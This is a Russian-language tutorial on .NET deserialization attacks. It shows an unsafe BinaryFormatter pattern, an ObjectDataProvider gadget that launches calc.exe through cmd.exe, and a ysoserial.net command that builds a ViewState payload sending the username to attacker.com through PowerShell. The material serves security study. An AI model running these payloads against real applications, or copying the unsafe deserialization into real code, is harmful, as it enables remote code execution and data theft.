Фреймворк .NET предлагает нам различные способы сериализации наших объектов 😫
Смотрим BinaryFormatter
using System.Runtime.Serialization.Formatters.Binary;
public class SomeClass
{
public string SomeProperty { get; set; }
public double SomeOtherProperty { get; set; }
}
class Program
{
static void Main(string[] args)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream memoryStream = new MemoryStream(File.ReadAllBytes("untrusted.file"));
SomeClass obj = (SomeClass)binaryFormatter.Deserialize(memoryStream);
Console.WriteLine(obj.SomeProperty);
Console.WriteLine(obj.SomeOtherProperty);
}
}
Предлагаю немного посмотреть на используемые классы и методы.
BinaryFormatter() - по факту сериализует и десериализует объекты. Замечу что сами Microsoft в своей документации пишут, что тип BinaryFormatter является небезопасным и устаревшим. Достается из либы System.Runtime.Serialization.Formatters.BinaryMemoryStream() - помогает уже читать и записывать данные с помощью памяти в качестве резервного хранилища. Его вообще также не рекомендуют использовать, однако по заявлениям сообщества аналогов нету. Из-за своей специфики он чаще всего может привести вас к OutOfMemoryException. Про его проблемы рекомендую лучше почитать статью, в котором кратко, но поясняют его проблемы и как их решать Смотрим ObjectDataProvider
Класс
ObjectDataProvider оборачивает и создает объект, который можно использовать в качестве источника привязки. Звучит не очень, знаю. 🤓Говоря по простому, класс позволяет использовать
MethodParameters для установки произвольных параметров, а затем использовать MethodName для вызова функции объекта, объявленной с использованием произвольных параметров.Таким образом, при десериализации объект будет выполнять функцию с параметрами, которые вы можете эксплуатировать.
Вот пример кода, как это все работает:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}Необходимо добавить в качестве ссылки
C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll для того, чтобы загрузить System.Windows.Data, иначе код не скомпилируется 👀YSOSERIAL.NET
Пользователь может использовать общедоступные инструменты, такие как ysoserial.net, для легкого создания пэйлоада, использующий внешние библиотеки, и таким образом построить цепочку гаджетов, которая в конечном итоге приведет к RCE.
Играемся с ViewState
Как-то раз была статья об эксплуатации десериализации в ASP.NET через
ViewState ViewState - это метод, в ASP.NET. Используется для сохранения значений страницы и элементов управления между страницами. Когда HTML для страницы отображает, текущее состояние страницы и значения, которые должны быть сохранены при возврате, то они сериализуются в base64 и хранятся в параметре ViewState.Здесь также, не буду вдаваться в подробности, а просто приведу пример эксплуатации через
ysoserial.netysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"И получаем большой ответ в виде base64 и пихаем его в
ViewState